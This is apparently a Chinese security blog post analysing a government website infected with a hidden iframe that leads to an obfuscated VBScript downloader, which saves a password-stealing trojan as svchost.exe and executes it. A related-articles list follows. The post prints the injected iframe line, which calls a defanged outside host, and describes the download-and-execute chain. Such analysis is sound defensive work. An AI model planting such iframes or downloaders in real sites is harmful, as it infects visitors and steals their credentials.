某政府网站被挂木马txet.exe/Trojan-PSW.Win32.QQRob.iy

简介: 某政府网站被挂木马txet.exe/Trojan-PSW.Win32.QQRob.iy

网站首页被加入代码:

/------
<iframe height=0 width=0 src="hxxp://www.g**ao**jun***888.com/4"></iframe>
------/

打开网页4 中包含Javascript代码,输出一段加入多余空格、使用escape()加密的VBScript脚本程序。

该VBScript脚本程序利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件txet.exe,保存为 %temp%/svchost.exe,然后调用自定义函数yunxingexe(m5,X skj9)。

自定义函数yunxingexe()创建Shell.Application 对象XsKje,利用 XsKje 的 ShellExecute 方法 来运行 %temp%/svchost.exe。

/------


相关文章
|
2月前
|
安全
某可人官方网站挂马Trojan-PSW.Win32.OnLineGames.sbg
某可人官方网站挂马Trojan-PSW.Win32.OnLineGames.sbg
|
2月前
|
数据安全/隐私保护
一个下载灰鸽子Backdoor.Win32.Hupigon.cge的网站
一个下载灰鸽子Backdoor.Win32.Hupigon.cge的网站
|
2月前
|
安全 数据安全/隐私保护
01-12/某县政府网被加入下载木马 Trojan.Win32.Pakes 的代码(第2版)
01-12/某县政府网被加入下载木马 Trojan.Win32.Pakes 的代码(第2版)
某论坛被挂马 down.exe / Virus.Win32.AutoRun.z / Trojan.PWS.Maran.262
某论坛被挂马 down.exe / Virus.Win32.AutoRun.z / Trojan.PWS.Maran.262
|
2月前
|
安全
遭遇RootKit.Win32.GameHack,Trojan.PSW.Win32.QQPass,Trojan-PSW.Win32.OnLineGames等1
遭遇RootKit.Win32.GameHack,Trojan.PSW.Win32.QQPass,Trojan-PSW.Win32.OnLineGames等1
|
2月前
|
安全 Windows
木马windowout.exe
木马windowout.exe
|
2月前
|
安全
遭遇Trojan-PSW.Win32.WOW.ms、Trojan-PSW.Win32.Lmir.bgb等木马
遭遇Trojan-PSW.Win32.WOW.ms、Trojan-PSW.Win32.Lmir.bgb等木马
|
2月前
|
安全 数据安全/隐私保护
某县政府网被加入下载木马Trojan-PSW.Win32.QQShou.ix的代码
某县政府网被加入下载木马Trojan-PSW.Win32.QQShou.ix的代码
|
2月前
|
安全 Windows
抓获Backdoor.Gpigeon.voo和Trojan.PSW.OnlineGames.xd等盗号木马
抓获Backdoor.Gpigeon.voo和Trojan.PSW.OnlineGames.xd等盗号木马
|
2月前
|
JavaScript 前端开发
某旅游信息网站被挂马Trojan-PSW.Win32.QQRob.lp等
某旅游信息网站被挂马Trojan-PSW.Win32.QQRob.lp等